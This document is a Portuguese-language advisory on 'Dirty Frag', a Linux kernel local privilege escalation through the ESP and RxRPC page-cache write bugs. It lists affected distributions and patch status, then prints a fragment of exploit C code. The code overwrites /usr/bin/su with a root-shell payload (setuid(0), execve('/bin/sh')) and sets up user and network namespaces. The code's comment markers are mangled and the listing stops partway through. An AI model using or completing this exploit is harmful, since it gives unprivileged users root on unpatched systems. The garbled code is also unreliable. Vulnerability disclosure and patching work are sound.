
Dirty Frag - vulnerabilidade crítica do kernel Linux
A cadeia de exploração, classificada como uma Escalação de Privilégio Local (LPE), permite que um usuário não privilegiado obtenha acesso root em praticamente todas as distribuições Linux modernas que executam kernels lançados desde 2017, abrangendo aproximadamente nove anos de versões. A exploração opera sobre o caminho de descriptografia in-place dos módulos esp4, esp6 e rxrpc, corrompendo o cache de páginas do kernel por meio de syscalls padrão como splice(2) e sendmsg(2), não exigindo interação do usuário nem vetor de ataque remoto.
As duas vulnerabilidades componentes são:
xfrm-ESP Page-Cache Write - CVE-2026-43284, no caminho de entrada IPsec ESP. Mesclado na árvore netdev em 7 de maio de 2026 e aceito na mainline em 8 de maio de 2026 como o commit f4c50a4034e6 (abre em nova aba).
RxRPC Page-Cache Write - CVE-2026-43500 reservado, no caminho de verificação RxRPC do AFS. Não existe patch em nenhuma árvore no momento da divulgação.
| Distribuição | Versões Afetadas | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | Status do Patch |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Afetado | ✅ Afetado | Corrigido |
| AlmaLinux | 8, 9, 10 | ✅ Afetado | ⚠️ somente 9 e 10¹ | Corrigido |
| Rocky Linux | 8, 9, 10 | ✅ Afetado | ✅ Afetado | Corrigido |
| CentOS | 8 | ✅ Afetado | ✅ Afetado | Corrigido |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Afetado | ✅ Afetado | Corrigido |
| Oracle Linux | RHCK / UEK afetados | ✅ Afetado | ✅ Afetado | Corrigido |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Afetado | ✅ Afetado | Corrigido |
| Debian | Bullseye, Bookworm, Trixie | ✅ Afetado | ✅ Afetado | Corrigido (sid primeiro) |
| Fedora | Versões atuais | ✅ Afetado | ✅ Afetado | Corrigido |
| Arch Linux | Rolling | ✅ Afetado | ✅ Afetado | Corrigido |
| Amazon Linux | 2, 2023 | ✅ Afetado | ✅ Afetado | Corrigido |
| Proxmox VE | Versões atuais | ✅ Afetado | ✅ Afetado | Corrigido |
Afetados: kernel Linux ≥ 4.14 (desde jan 2017) · Todas as principais distribuições · Sem vetor remoto CVSS 3.1: 8.8 ALTA (CVE-2026-43284) · Divulgado: 7 de maio de 2026 · PoC pública no dia zero Pesquisador: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }